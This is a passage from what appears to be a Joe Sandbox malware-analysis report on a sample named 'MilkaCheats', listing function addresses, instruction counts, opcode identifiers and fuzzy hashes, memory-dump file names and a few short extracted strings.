Opcode ID: 2b2267fc0316455ef54ab5bc0074d5cb6e79a614d92ba33e9f60d99ede0b5f16
Instruction ID: 5d791c2cc3d7e5d3bf37a5aa0af4e264f4fd91164fbee7c86b49f36b07b29cae
Opcode Fuzzy Hash: 2b2267fc0316455ef54ab5bc0074d5cb6e79a614d92ba33e9f60d99ede0b5f16
Instruction Fuzzy Hash: B1518D327443155BD3199A2C9C91B2B77D2FBC9720F29823CE999973E2DB30ED458380

Function 000FB3A0 Relevance: 1.4, Strings: 1, Instructions: 190COMMON

Download Yara Rule

Strings

89, xrefs: 000FB54F

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: 89
API String ID: 0-155395596
Opcode ID: c8dc68aa6f7f9b844a089c944c90bdf233b42d1042bd0b1e13d77bb8a31c6bca
Instruction ID: 0b1f7d68ac09c6acb800f4750ed21fca880c25ff985365fe3377d68766ab9e74
Opcode Fuzzy Hash: c8dc68aa6f7f9b844a089c944c90bdf233b42d1042bd0b1e13d77bb8a31c6bca
Instruction Fuzzy Hash: 375158716087505BE318AB34DC5637FBBD1EF92714F18892DE9C2EB6C2DE6C88055B82

Function 00118493 Relevance: 1.4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

Strings

>ebg, xrefs: 00118EA5

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: >ebg
API String ID: 0-4222723227
Opcode ID: f022885215c873b9fbdd043d8176df0b70d2a1bc549261dbc581a1c67dffcda2
Instruction ID: b969d8c8e55938c8ec2fdc8982ea020428d115343d596394faa47581d7634f83
Opcode Fuzzy Hash: f022885215c873b9fbdd043d8176df0b70d2a1bc549261dbc581a1c67dffcda2
Instruction Fuzzy Hash: BB51482155D3418FDB288B6884802FBBBE2DBA6390F0EC678D9954B3D2D735CD89D391

Function 00133050 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

@, xrefs: 001330B9

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ad56595fd8727f308ac17a53f482b209df3fec6dbf017e58120bbd6e3214b75f
Instruction ID: 840d5e66660fd2ac5bfee3880875f987cab71d98a743304ec7d61ac49e68332e
Opcode Fuzzy Hash: ad56595fd8727f308ac17a53f482b209df3fec6dbf017e58120bbd6e3214b75f
Instruction Fuzzy Hash: 633133751083009BD318DF68D8C166BB7F5FB95310F18893CEAA587291D338DA08CB96

Function 000C511C Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

MZx, xrefs: 000C5129, 000C5136, 000C513B

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: MZx
API String ID: 0-2575928145
Opcode ID: f800674da6378a7d5109c8b39bfa4981d57375322030ef9d72b8fdaa3b2238d1
Instruction ID: 0d56bb2010bbeb213a0008def9bf4c0714e1d80e1e37753e482b481017e26537
Opcode Fuzzy Hash: f800674da6378a7d5109c8b39bfa4981d57375322030ef9d72b8fdaa3b2238d1
Instruction Fuzzy Hash: 08E092B0646244ABF3249B14CC0ABAB76D99BC5700F80887DB589AB3D2DBF86544D792

Function 000FA160 Relevance: .8, Instructions: 822COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c4c38f16a4d60ace68a9cc28e894281f07bec4fb7421fc093a61b442ba78d5
Instruction ID: 424923a47cee2255d040333c341b56d6eae59de46f3a7b02c94fb9a3ee16ba37
Opcode Fuzzy Hash: 06c4c38f16a4d60ace68a9cc28e894281f07bec4fb7421fc093a61b442ba78d5
Instruction Fuzzy Hash: 365215716083198BC725DF18D8802BEB3E2FFC5314F29892DDA9A97681E738E951D743

Function 00111B80 Relevance: .7, Instructions: 748COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13476f7315f4e7477d90eb220a39c2da123e2ad672f8cd8fd3fab8a738484b5e
Instruction ID: b3501a575b1d4fe453ec536cf97ef31e359d058d495d12f52277fd49f8965b0b
Opcode Fuzzy Hash: 13476f7315f4e7477d90eb220a39c2da123e2ad672f8cd8fd3fab8a738484b5e
Instruction Fuzzy Hash: 2F727FB0608F808ED326CB3C8845797BFD5AB5A314F188A6DD0EE873D2C779A505C766

Function 000F9650 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aab57881356b94424ffbaa648b9f46da7fa48430a986070924ce8b086c1f8b60
Instruction ID: 0f12ae75ccd5b88e4890f225aee6f51533f9370a5274a608cdbbe41604292632
Opcode Fuzzy Hash: aab57881356b94424ffbaa648b9f46da7fa48430a986070924ce8b086c1f8b60
Instruction Fuzzy Hash: C452F870A0878C8FE775CB24C4847B7BBE1EB51314F14482DD6EB46E82C379A985EB52

Function 000F54C0 Relevance: .7, Instructions: 657COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e36b86faa8d1ccc44319ff8b12de4c9a00c6cc4713396a6e4696e49310e88840
Instruction ID: 2fe006b7160e4dbac3031f3f23f6acff263943fa50e56c1bacc43c6356e0b959
Opcode Fuzzy Hash: e36b86faa8d1ccc44319ff8b12de4c9a00c6cc4713396a6e4696e49310e88840
Instruction Fuzzy Hash: 65521131508B498FCB14CF18C4806BABBE1FF88315F588A6DEA9A9B741D734D849DF81

Function 000F5EC0 Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4096e9aaaf335f6018dc2b297a811201c3ccc48e2594172a9497424842ccb785
Instruction ID: a17072e3f55d47a8389e6269afe3b2d39805ab7b1b1b92dacb7d1aa97b43bbb6
Opcode Fuzzy Hash: 4096e9aaaf335f6018dc2b297a811201c3ccc48e2594172a9497424842ccb785
Instruction Fuzzy Hash: A7421270515B188FC378CF29C69052ABBF2BB85710BA44A2ED69787F91D736F844EB10

Function 00118F30 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe61c65e639b8f8c2db2abd7c86fa61fc38f35e95001bd360d93c332603835fc
Instruction ID: 35a4d924aa9f50a46c8bc5c7fd0e35ca31d17ea372f0477f0643d9836c26006b
Opcode Fuzzy Hash: fe61c65e639b8f8c2db2abd7c86fa61fc38f35e95001bd360d93c332603835fc
Instruction Fuzzy Hash: DED18C727483015BDB188E2888952EB77E2EFD5314F19853CE8A54B3D2E338DD8AD381

Function 000F1D40 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a1497c12830bcdfc7aa9e4c59a245e2fd23d4b2bc447d00e69ef04a72a3d63
Instruction ID: 88f3e138b59d0af59efb1e1222d1be3d4f865504b0781b530cabd20614459d6b
Opcode Fuzzy Hash: f1a1497c12830bcdfc7aa9e4c59a245e2fd23d4b2bc447d00e69ef04a72a3d63
Instruction Fuzzy Hash: 85D1D472A083059BC718CF24C88066EBBE5EFC4750F158A3DEA9997791E771DC44DB82

Function 000F8670 Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928e7a7fa6cce12ed356cb4f5ed7129ca3b0712d6ba2be1fc2d9d553babf83b2
Instruction ID: cd7cb47e7c98c857eca64a1daa63e8ec16a81372c8c5a509d1d7b83023e5abcb
Opcode Fuzzy Hash: 928e7a7fa6cce12ed356cb4f5ed7129ca3b0712d6ba2be1fc2d9d553babf83b2
Instruction Fuzzy Hash: 3DE18C71208385CFD721CF29C880A6BBBE1EF99300F44882DE5D987B52E775E944DB96

Function 0011E5F3 Relevance: .4, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26627ec0b24bebf55fba7ae6cad0cbc35c78f049632407aee67bb6aef31b63ce
Instruction ID: b860a9308858febba27dea99fca0fed587a8fd55f710cdbb0b907c00376c4788
Opcode Fuzzy Hash: 26627ec0b24bebf55fba7ae6cad0cbc35c78f049632407aee67bb6aef31b63ce
Instruction Fuzzy Hash: 26C1EF756047418FD329CF39C450762FBE2AF96314F2886ADD8DA8B7A2C775D806CB50

Function 0012DC10 Relevance: .4, Instructions: 360COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ba8877f42b945a50daacabfbdb6e8945b1bca160f52dce02565f1f1f28ade50
Instruction ID: 85a1cc7997f8eaae5256212871e32afba83b0444be1145b08098cef266c44f38
Opcode Fuzzy Hash: 3ba8877f42b945a50daacabfbdb6e8945b1bca160f52dce02565f1f1f28ade50
Instruction Fuzzy Hash: 44D10771A0C3A14FC725CF28D49052EFBE1AF95314F1A87ADE8E58B392D7319815C792

Function 00129500 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2288ac82e1020bfa3f123461b6987ee1429546743d506c334ac192e62159800a
Instruction ID: 52f8c3b260da4b79cb60e88280ebc96183543ea04cc3830b7a511f253d9e9715
Opcode Fuzzy Hash: 2288ac82e1020bfa3f123461b6987ee1429546743d506c334ac192e62159800a
Instruction Fuzzy Hash: 82D12B72D046E58FDB11CA7CC880399BFA26B97324F1E8395D5A5AB3C2C2768806C761

Function 000F91C0 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4598926c780e4a92f3bee49001382577d172e4456098eb4f935525ab9b1f10fb
Instruction ID: b97ff2b1282049b2d0da889a7778890bf77db46b96996131ae076cc51b7b7f6b
Opcode Fuzzy Hash: 4598926c780e4a92f3bee49001382577d172e4456098eb4f935525ab9b1f10fb
Instruction Fuzzy Hash: 41C15EB29487458FC370CF68CC86BABB7E1BF85318F08492DD2D9C6642E778A155CB46

Function 00133740 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee935a4466a0e2b1a0a9fd8fcf0d374322598fd08faaca92de9fefeeba6a20f3
Instruction ID: 7520ab8e5076dafab6c0707f13d4131537b86adbf573c8f46b8f0e7a16b0c6ef
Opcode Fuzzy Hash: ee935a4466a0e2b1a0a9fd8fcf0d374322598fd08faaca92de9fefeeba6a20f3
Instruction Fuzzy Hash: A1A1BD75B083129BC728CF28C89062EB7F2BF89710F15892CEA958B351D735ED51CB96

Function 00129BC0 Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 240595e57a081004527e130d73b5d3b9f5c686dc83303627eeca40f8379185a4
Instruction ID: fd4b439679ff0a289c9fd9e9666ee96e75a6547766c66fe32cda2a34f30838ec
Opcode Fuzzy Hash: 240595e57a081004527e130d73b5d3b9f5c686dc83303627eeca40f8379185a4
Instruction Fuzzy Hash: CFB1257260C3908FC3189A3CA95436ABFD2ABD9324F1D4A3EE4E6873D6D774C9148316

Function 00102E5C Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a521c380a6ef59328f7263234433a188d269ef9d4b63ae2ff511dab9f2c41131
Instruction ID: 26bd99451c3dad2909b096e10c746361a23b15394e717f4721b7e7cb182824d9
Opcode Fuzzy Hash: a521c380a6ef59328f7263234433a188d269ef9d4b63ae2ff511dab9f2c41131
Instruction Fuzzy Hash: 16C1E071615F808FD3269B38C8583A6BBE5AB56324F188E7DD8FB873C6D775A1048702

Function 000EF8B8 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d24232fb38b14cede3f649859ab0cd925123cd61fd3696532827271080bb123
Instruction ID: 997d8ca6de5d3d8f31913e6b7e79b25ed553f706e887e88ed8e97334f5f85117
Opcode Fuzzy Hash: 5d24232fb38b14cede3f649859ab0cd925123cd61fd3696532827271080bb123
Instruction Fuzzy Hash: 40A1DE31A0C3868FD714CE24C0943BEBBE2AFD5304F18896DEAD567792D3359949DB82

Function 0010C56B Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 469aef10517c8e6ed11567e95d59437010425f616737405d574992db5c7d68d2
